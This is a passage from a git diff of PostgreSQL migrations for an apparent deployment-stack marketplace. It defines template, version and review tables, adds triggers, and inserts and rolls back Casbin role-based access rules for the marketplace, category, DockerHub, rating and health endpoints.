UUID PRIMARY KEY DEFAULT gen_random_uuid(), + template_id UUID NOT NULL REFERENCES stack_template(id) ON DELETE CASCADE, + version VARCHAR(20) NOT NULL, + stack_definition JSONB NOT NULL, + definition_format VARCHAR(20) DEFAULT 'yaml', + changelog TEXT, + is_latest BOOLEAN DEFAULT false, + created_at TIMESTAMP WITH TIME ZONE DEFAULT now(), + UNIQUE(template_id, version) +); + +CREATE TABLE IF NOT EXISTS stack_template_review ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + template_id UUID NOT NULL REFERENCES stack_template(id) ON DELETE CASCADE, + reviewer_user_id VARCHAR(50), + decision VARCHAR(50) NOT NULL DEFAULT 'pending' CHECK ( + decision IN ('pending', 'approved', 'rejected', 'needs_changes') + ), + review_reason TEXT, + security_checklist JSONB DEFAULT '{ + "no_secrets": null, + "no_hardcoded_creds": null, + "valid_docker_syntax": null, + "no_malicious_code": null + }'::jsonb, + submitted_at TIMESTAMP WITH TIME ZONE DEFAULT now(), + reviewed_at TIMESTAMP WITH TIME ZONE +); + +-- Extend existing tables +DO $$ BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'project' AND column_name = 'source_template_id' + ) THEN + ALTER TABLE project ADD COLUMN source_template_id UUID REFERENCES stack_template(id); + END IF; +END $$; + +DO $$ BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'project' AND column_name = 'template_version' + ) THEN + ALTER TABLE project ADD COLUMN template_version VARCHAR(20); + END IF; +END $$; + +-- Indexes +CREATE INDEX IF NOT EXISTS idx_stack_template_creator ON stack_template(creator_user_id); +CREATE INDEX IF NOT EXISTS idx_stack_template_status ON stack_template(status); +CREATE INDEX IF NOT EXISTS idx_stack_template_slug ON stack_template(slug); +CREATE INDEX IF NOT EXISTS idx_stack_template_category ON stack_template(category_id); +CREATE INDEX IF NOT EXISTS idx_stack_template_product ON stack_template(product_id); + +CREATE INDEX IF NOT EXISTS idx_template_version_template ON stack_template_version(template_id); +CREATE INDEX IF NOT EXISTS idx_template_version_latest ON stack_template_version(template_id, is_latest) WHERE is_latest = true; + +CREATE INDEX IF NOT EXISTS idx_review_template ON stack_template_review(template_id); +CREATE INDEX IF NOT EXISTS idx_review_decision ON stack_template_review(decision); + +CREATE INDEX IF NOT EXISTS idx_project_source_template ON project(source_template_id); + +-- Triggers +CREATE OR REPLACE FUNCTION update_updated_at_column() +RETURNS TRIGGER AS $$ +BEGIN + NEW.updated_at = now(); + RETURN NEW; +END; +$$ language 'plpgsql'; + +DROP TRIGGER IF EXISTS update_stack_template_updated_at ON stack_template; +CREATE TRIGGER update_stack_template_updated_at + BEFORE UPDATE ON stack_template + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +-- Function to create product entry when template is approved +CREATE OR REPLACE FUNCTION create_product_for_approved_template() +RETURNS TRIGGER AS $$ +DECLARE + new_product_id INTEGER; +BEGIN + -- When status changes to 'approved' and no product exists yet + IF NEW.status = 'approved' AND OLD.status != 'approved' AND NEW.product_id IS NULL THEN + -- Generate product_id from template UUID (use hashtext for deterministic integer) + new_product_id := hashtext(NEW.id::text); + + -- Insert into product table + INSERT INTO product (id, obj_id, obj_type, created_at, updated_at) + VALUES (new_product_id, new_product_id, 'marketplace_template', now(), now()) + ON CONFLICT (id) DO NOTHING; + + -- Link template to product + NEW.product_id := new_product_id; + END IF; + RETURN NEW; +END; +$$ language 'plpgsql'; + +DROP TRIGGER IF EXISTS auto_create_product_on_approval ON stack_template; +CREATE TRIGGER auto_create_product_on_approval + BEFORE UPDATE ON stack_template + FOR EACH ROW + WHEN (NEW.status = 'approved' AND OLD.status != 'approved') + EXECUTE FUNCTION create_product_for_approved_template(); + +-- Seed sample categories +INSERT INTO stack_category (name) +VALUES + ('AI Agents'), + ('Data Pipelines'), + ('SaaS Starter'), + ('Dev Tools'), + ('Automation') +ON CONFLICT DO NOTHING; + diff --git a/stacker/stacker/migrations/20251229121000_casbin_marketplace_rules.down.sql b/stacker/stacker/migrations/20251229121000_casbin_marketplace_rules.down.sql new file mode 100644 index 0000000..29018e0 --- /dev/null +++ b/stacker/stacker/migrations/20251229121000_casbin_marketplace_rules.down.sql @@ -0,0 +1,12 @@ +-- Rollback Casbin rules for Marketplace endpoints +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_anonymous' AND v1 = '/api/templates' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_anonymous' AND v1 = '/api/templates/:slug' AND v2 = 'GET'; + +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/templates' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/templates/:id' AND v2 = 'PUT'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/templates/:id/submit' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/templates/mine' AND v2 = 'GET'; + +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/admin/templates' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/admin/templates/:id/approve' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/admin/templates/:id/reject' AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20251229121000_casbin_marketplace_rules.up.sql b/stacker/stacker/migrations/20251229121000_casbin_marketplace_rules.up.sql new file mode 100644 index 0000000..4248079 --- /dev/null +++ b/stacker/stacker/migrations/20251229121000_casbin_marketplace_rules.up.sql @@ -0,0 +1,16 @@ +-- Casbin rules for Marketplace endpoints + +-- Public read rules +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/api/templates', 'GET', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/api/templates/:slug', 'GET', '', '', '') ON CONFLICT DO NOTHING; + +-- Creator rules +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/templates', 'POST', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/templates/:id', 'PUT', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/templates/:id/submit', 'POST', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/templates/mine', 'GET', '', '', '') ON CONFLICT DO NOTHING; + +-- Admin moderation rules +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/admin/templates', 'GET', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/admin/templates/:id/approve', 'POST', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/admin/templates/:id/reject', 'POST', '', '', '') ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20251230094608_add_required_plan_name.down.sql b/stacker/stacker/migrations/20251230094608_add_required_plan_name.down.sql new file mode 100644 index 0000000..c6b04bc --- /dev/null +++ b/stacker/stacker/migrations/20251230094608_add_required_plan_name.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +ALTER TABLE stack_template DROP COLUMN IF EXISTS required_plan_name; \ No newline at end of file diff --git a/stacker/stacker/migrations/20251230094608_add_required_plan_name.up.sql b/stacker/stacker/migrations/20251230094608_add_required_plan_name.up.sql new file mode 100644 index 0000000..fcd896d --- /dev/null +++ b/stacker/stacker/migrations/20251230094608_add_required_plan_name.up.sql @@ -0,0 +1,2 @@ +-- Add up migration script here +ALTER TABLE stack_template ADD COLUMN IF NOT EXISTS required_plan_name VARCHAR(50); \ No newline at end of file diff --git a/stacker/stacker/migrations/20251230100000_add_marketplace_plans_rule.down.sql b/stacker/stacker/migrations/20251230100000_add_marketplace_plans_rule.down.sql new file mode 100644 index 0000000..8658c29 --- /dev/null +++ b/stacker/stacker/migrations/20251230100000_add_marketplace_plans_rule.down.sql @@ -0,0 +1,2 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/admin/marketplace/plans' AND v2 = 'GET' AND v3 = '' AND v4 = '' AND v5 = ''; diff --git a/stacker/stacker/migrations/20251230100000_add_marketplace_plans_rule.up.sql b/stacker/stacker/migrations/20251230100000_add_marketplace_plans_rule.up.sql new file mode 100644 index 0000000..5dd4dcb --- /dev/null +++ b/stacker/stacker/migrations/20251230100000_add_marketplace_plans_rule.up.sql @@ -0,0 +1,4 @@ +-- Casbin rule for admin marketplace plans endpoint +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/marketplace/plans', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260101090000_casbin_admin_inherits_user.down.sql b/stacker/stacker/migrations/20260101090000_casbin_admin_inherits_user.down.sql new file mode 100644 index 0000000..3e60867 --- /dev/null +++ b/stacker/stacker/migrations/20260101090000_casbin_admin_inherits_user.down.sql @@ -0,0 +1,9 @@ +-- Remove the inheritance edge if rolled back +DELETE FROM public.casbin_rule +WHERE ptype = 'g' + AND v0 = 'group_admin' + AND v1 = 'group_user' + AND (v2 = '' OR v2 IS NULL) + AND (v3 = '' OR v3 IS NULL) + AND (v4 = '' OR v4 IS NULL) + AND (v5 = '' OR v5 IS NULL); diff --git a/stacker/stacker/migrations/20260101090000_casbin_admin_inherits_user.up.sql b/stacker/stacker/migrations/20260101090000_casbin_admin_inherits_user.up.sql new file mode 100644 index 0000000..7d34d4e --- /dev/null +++ b/stacker/stacker/migrations/20260101090000_casbin_admin_inherits_user.up.sql @@ -0,0 +1,4 @@ +-- Ensure group_admin inherits group_user so admin (and root) receive user permissions +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('g', 'group_admin', 'group_user', '', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260102120000_add_category_fields.down.sql b/stacker/stacker/migrations/20260102120000_add_category_fields.down.sql new file mode 100644 index 0000000..7b8aa8f --- /dev/null +++ b/stacker/stacker/migrations/20260102120000_add_category_fields.down.sql @@ -0,0 +1,7 @@ +-- Remove title and metadata fields from stack_category +ALTER TABLE stack_category +DROP COLUMN IF EXISTS metadata, +DROP COLUMN IF EXISTS title; + +-- Drop the index +DROP INDEX IF EXISTS idx_stack_category_title; diff --git a/stacker/stacker/migrations/20260102120000_add_category_fields.up.sql b/stacker/stacker/migrations/20260102120000_add_category_fields.up.sql new file mode 100644 index 0000000..7a2646d --- /dev/null +++ b/stacker/stacker/migrations/20260102120000_add_category_fields.up.sql @@ -0,0 +1,7 @@ +-- Add title and metadata fields to stack_category for User Service sync +ALTER TABLE stack_category +ADD COLUMN IF NOT EXISTS title VARCHAR(255), +ADD COLUMN IF NOT EXISTS metadata JSONB DEFAULT '{}'::jsonb; + +-- Create index on title for display queries +CREATE INDEX IF NOT EXISTS idx_stack_category_title ON stack_category(title); diff --git a/stacker/stacker/migrations/20260102140000_casbin_categories_rules.down.sql b/stacker/stacker/migrations/20260102140000_casbin_categories_rules.down.sql new file mode 100644 index 0000000..4db07af --- /dev/null +++ b/stacker/stacker/migrations/20260102140000_casbin_categories_rules.down.sql @@ -0,0 +1,4 @@ +-- Rollback: Remove Casbin rules for Categories endpoint + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v1 = '/api/categories' AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260102140000_casbin_categories_rules.up.sql b/stacker/stacker/migrations/20260102140000_casbin_categories_rules.up.sql new file mode 100644 index 0000000..e87417b --- /dev/null +++ b/stacker/stacker/migrations/20260102140000_casbin_categories_rules.up.sql @@ -0,0 +1,6 @@ +-- Casbin rules for Categories endpoint +-- Categories are publicly readable for marketplace UI population + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/api/categories', 'GET', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/categories', 'GET', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/categories', 'GET', '', '', '') ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260103103000_casbin_marketplace_admin_creator_rules.down.sql b/stacker/stacker/migrations/20260103103000_casbin_marketplace_admin_creator_rules.down.sql new file mode 100644 index 0000000..c717ab0 --- /dev/null +++ b/stacker/stacker/migrations/20260103103000_casbin_marketplace_admin_creator_rules.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/templates' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/templates/:id' AND v2 = 'PUT'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/templates/:id/submit' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/templates/mine' AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260103103000_casbin_marketplace_admin_creator_rules.up.sql b/stacker/stacker/migrations/20260103103000_casbin_marketplace_admin_creator_rules.up.sql new file mode 100644 index 0000000..5a152d9 --- /dev/null +++ b/stacker/stacker/migrations/20260103103000_casbin_marketplace_admin_creator_rules.up.sql @@ -0,0 +1,6 @@ +-- Allow admin service accounts (e.g., root) to call marketplace creator endpoints +-- Admins previously lacked creator privileges which caused 403 responses +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/templates', 'POST', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/templates/:id', 'PUT', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/templates/:id/submit', 'POST', '', '', '') ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/templates/mine', 'GET', '', '', '') ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260103120000_casbin_health_metrics_rules.down.sql b/stacker/stacker/migrations/20260103120000_casbin_health_metrics_rules.down.sql new file mode 100644 index 0000000..19ea2ac --- /dev/null +++ b/stacker/stacker/migrations/20260103120000_casbin_health_metrics_rules.down.sql @@ -0,0 +1,7 @@ +-- Remove Casbin rules for health check metrics endpoint + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 IN ('group_anonymous', 'group_user', 'group_admin') + AND v1 = '/health_check/metrics' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260103120000_casbin_health_metrics_rules.up.sql b/stacker/stacker/migrations/20260103120000_casbin_health_metrics_rules.up.sql new file mode 100644 index 0000000..1519480 --- /dev/null +++ b/stacker/stacker/migrations/20260103120000_casbin_health_metrics_rules.up.sql @@ -0,0 +1,17 @@ +-- Add Casbin rules for health check metrics endpoint +-- Allow all groups to access health check metrics for monitoring + +-- Anonymous users can check health metrics +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/health_check/metrics', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +-- Regular users can check health metrics +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/health_check/metrics', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +-- Admins can check health metrics +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/health_check/metrics', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260104120000_casbin_admin_service_rules.down.sql b/stacker/stacker/migrations/20260104120000_casbin_admin_service_rules.down.sql new file mode 100644 index 0000000..3a1649c --- /dev/null +++ b/stacker/stacker/migrations/20260104120000_casbin_admin_service_rules.down.sql @@ -0,0 +1,7 @@ +-- Remove Casbin rules for admin_service role +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'admin_service' AND v1 = '/stacker/admin/templates' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'admin_service' AND v1 = '/stacker/admin/templates/:id/approve' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'admin_service' AND v1 = '/stacker/admin/templates/:id/reject' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'admin_service' AND v1 = '/api/admin/templates' AND v2 = 'GET'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'admin_service' AND v1 = '/api/admin/templates/:id/approve' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'admin_service' AND v1 = '/api/admin/templates/:id/reject' AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260104120000_casbin_admin_service_rules.up.sql b/stacker/stacker/migrations/20260104120000_casbin_admin_service_rules.up.sql new file mode 100644 index 0000000..5531851 --- /dev/null +++ b/stacker/stacker/migrations/20260104120000_casbin_admin_service_rules.up.sql @@ -0,0 +1,24 @@ +-- Add Casbin rules for admin_service role (internal service authentication) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/stacker/admin/templates', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/stacker/admin/templates/:id/approve', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/stacker/admin/templates/:id/reject', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates/:id/approve', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates/:id/reject', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260105214000_casbin_dockerhub_rules.down.sql b/stacker/stacker/migrations/20260105214000_casbin_dockerhub_rules.down.sql new file mode 100644 index 0000000..f03eb15 --- /dev/null +++ b/stacker/stacker/migrations/20260105214000_casbin_dockerhub_rules.down.sql @@ -0,0 +1,8 @@ +DELETE FROM public.casbin_rule +WHERE v1 = '/dockerhub/namespaces' AND v2 = 'GET'; + +DELETE FROM public.casbin_rule +WHERE v1 = '/dockerhub/:namespace/repositories' AND v2 = 'GET'; + +DELETE FROM public.casbin_rule +WHERE v1 = '/dockerhub/:namespace/repositories/:repository/tags' AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260105214000_casbin_dockerhub_rules.up.sql b/stacker/stacker/migrations/20260105214000_casbin_dockerhub_rules.up.sql new file mode 100644 index 0000000..5b68fd9 --- /dev/null +++ b/stacker/stacker/migrations/20260105214000_casbin_dockerhub_rules.up.sql @@ -0,0 +1,23 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/dockerhub/namespaces', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/dockerhub/namespaces', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/dockerhub/:namespace/repositories', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/dockerhub/:namespace/repositories', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/dockerhub/:namespace/repositories/:repository/tags', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/dockerhub/:namespace/repositories/:repository/tags', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260106142135_remove_agents_deployment_fk.down.sql b/stacker/stacker/migrations/20260106142135_remove_agents_deployment_fk.down.sql new file mode 100644 index 0000000..8ffd69e --- /dev/null +++ b/stacker/stacker/migrations/20260106142135_remove_agents_deployment_fk.down.sql @@ -0,0 +1,7 @@ +-- Restore foreign key constraint (only if deployment table has matching records) +-- Note: This will fail if orphaned agents exist. Clean up orphans before rollback. +ALTER TABLE agents +ADD CONSTRAINT agents_deployment_hash_fkey +FOREIGN KEY (deployment_hash) +REFERENCES deployment(deployment_hash) +ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20260106142135_remove_agents_deployment_fk.up.sql b/stacker/stacker/migrations/20260106142135_remove_agents_deployment_fk.up.sql new file mode 100644 index 0000000..fddc63d --- /dev/null +++ b/stacker/stacker/migrations/20260106142135_remove_agents_deployment_fk.up.sql @@ -0,0 +1,6 @@ +-- Remove foreign key constraint from agents table to allow agents without deployments in Stacker +-- Deployments may exist in User Service "installations" table instead +ALTER TABLE agents DROP CONSTRAINT IF EXISTS agents_deployment_hash_fkey; + +-- Keep the deployment_hash column indexed for queries +-- Index already exists: idx_agents_deployment_hash diff --git a/stacker/stacker/migrations/20260106143528_20260106_casbin_user_rating_idempotent.down.sql b/stacker/stacker/migrations/20260106143528_20260106_casbin_user_rating_idempotent.down.sql new file mode 100644 index 0000000..dc7c3ea --- /dev/null +++ b/stacker/stacker/migrations/20260106143528_20260106_casbin_user_rating_idempotent.down.sql @@ -0,0 +1 @@ +-- No-op: this migration only ensured idempotency and did not create new rows diff --git a/stacker/stacker/migrations/20260106143528_20260106_casbin_user_rating_idempotent.up.sql b/stacker/stacker/migrations/20260106143528_20260106_casbin_user_rating_idempotent.up.sql new file mode 100644 index 0000000..8cb3282 --- /dev/null +++ b/stacker/stacker/migrations/20260106143528_20260106_casbin_user_rating_idempotent.up.sql @@ -0,0 +1,24 @@ +-- Ensure rating Casbin rules are idempotent for future migration reruns +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/rating/:id', 'PUT', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/rating/:id', 'PUT', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/rating/:id', 'DELETE', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/rating/:id', 'DELETE', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/rating/:id', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/rating', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260107123000_admin_service_role_inheritance.down.sql b/stacker/stacker/migrations/20260107123000_admin_service_role_inheritance.down.sql new file mode 100644 index 0000000..e78adbe --- /dev/null +++ b/stacker/stacker/migrations/20260107123000_admin_service_role_inheritance.down.sql @@ -0,0 +1,9 @@ +-- Revoke admin_service inheritance from admin permissions +DELETE FROM public.casbin_rule +WHERE ptype = 'g' + AND v0 = 'admin_service' + AND v1 = 'group_admin' + AND v2 = '' + AND v3 = '' + AND v4 = '' + AND v5 = ''; diff --git a/stacker/stacker/migrations/20260107123000_admin_service_role_inheritance.up.sql b/stacker/stacker/migrations/20260107123000_admin_service_role_inheritance.up.sql new file mode 100644 index 0000000..6c6a663 --- /dev/null +++ b/stacker/stacker/migrations/20260107123000_admin_service_role_inheritance.up.sql @@ -0,0 +1,4 @@ +-- Allow admin_service JWT role to inherit all admin permissions +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('g', 'admin_service', 'group_admin', '', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260109133000_extend_deployment_hash_length.down.sql b/stacker/stacker/migrations/20260109133000_extend_deployment_hash_length.down.sql new file mode 100644 index 0000000..77b626b --- /dev/null +++ b/stacker/stacker/migrations/20260109133000_extend_deployment_hash_length.down.sql @@ -0,0 +1,21 @@ +-- Revert deployment_hash column length to the previous limit +ALTER TABLE commands DROP CONSTRAINT IF EXISTS commands_deployment_hash_fkey; + +ALTER TABLE deployment + ALTER COLUMN deployment_hash TYPE VARCHAR(64); + +ALTER TABLE agents + ALTER COLUMN deployment_hash TYPE VARCHAR(64); + +ALTER TABLE audit_log + ALTER COLUMN deployment_hash TYPE VARCHAR(64); + +ALTER TABLE commands + ALTER COLUMN deployment_hash TYPE VARCHAR(64); + +ALTER TABLE command_queue + ALTER COLUMN deployment_hash TYPE VARCHAR(64); + +ALTER TABLE commands + ADD CONSTRAINT commands_deployment_hash_fkey + FOREIGN KEY (deployment_hash) REFERENCES deployment(deployment_hash) ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20260109133000_extend_deployment_hash_length.up.sql b/stacker/stacker/migrations/20260109133000_extend_deployment_hash_length.up.sql new file mode 100644 index 0000000..9606d66 --- /dev/null +++ b/stacker/stacker/migrations/20260109133000_extend_deployment_hash_length.up.sql @@ -0,0 +1,21 @@ +-- Increase deployment_hash column length to accommodate longer identifiers +ALTER TABLE commands DROP CONSTRAINT IF EXISTS commands_deployment_hash_fkey; + +ALTER TABLE deployment + ALTER COLUMN deployment_hash TYPE VARCHAR(128); + +ALTER TABLE agents + ALTER COLUMN deployment_hash TYPE VARCHAR(128); + +ALTER TABLE audit_log + ALTER COLUMN deployment_hash TYPE VARCHAR(128); + +ALTER TABLE commands + ALTER COLUMN deployment_hash TYPE VARCHAR(128); + +ALTER TABLE command_queue + ALTER COLUMN deployment_hash TYPE VARCHAR(128); + +ALTER TABLE commands + ADD CONSTRAINT commands_deployment_hash_fkey + FOREIGN KEY (deployment_hash) REFERENCES deployment(deployment_hash) ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20260112120000_remove_commands_deployment_fk.down.sql b/stacker/stacker/migrations/20260112120000_remove_commands_deployment_fk.down.sql new file mode 100644 index 0000000..f300690 --- /dev/null +++ b/stacker/stacker/migrations/20260112120000_remove_commands_deployment_fk.down.sql @@ -0,0 +1,3 @@ +-- Restore FK constraint on commands.deployment_hash back to deployment(deployment_hash) +ALTER TABLE commands ADD CONSTRAINT commands_deployment_hash_fkey + FOREIGN KEY (deployment_hash) REFERENCES deployment(deployment_hash) ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20260112120000_remove_commands_deployment_fk.up.sql b/stacker/stacker/migrations/20260112120000_remove_commands_deployment_fk.up.sql new file mode 100644 index 0000000..84b6ad6 --- /dev/null +++ b/stacker/stacker/migrations/20260112120000_remove_commands_deployment_fk.up.sql @@ -0,0 +1,2 @@ +-- Remove FK constraint from commands.deployment_hash to allow hashes from external installations +ALTER TABLE commands DROP CONSTRAINT IF EXISTS commands_deployment_hash_fkey; diff --git a/stacker/stacker/migrations/20260113000001_fix_command_queue_fk.down.sql b/stacker/stacker/migrations/20260113000001_fix_command_queue_fk.down.sql new file mode 100644 index 0000000..c2f9b63 --- /dev/null +++ b/stacker/stacker/migrations/20260113000001_fix_command_queue_fk.down.sql @@ -0,0 +1,12 @@ +-- Revert: Fix foreign key in command_queue to reference commands.command_id (VARCHAR) instead of commands.id (UUID) + +-- Drop the new foreign key constraint +ALTER TABLE command_queue DROP CONSTRAINT command_queue_command_id_fkey; + +-- Change command_id column back to UUID +ALTER TABLE command_queue ALTER COLUMN command_id TYPE UUID USING command_id::UUID; + +-- Restore old foreign key constraint +ALTER TABLE command_queue +ADD CONSTRAINT command_queue_command_id_fkey +FOREIGN KEY (command_id) REFERENCES commands(id) ON DELETE CASCADE; diff 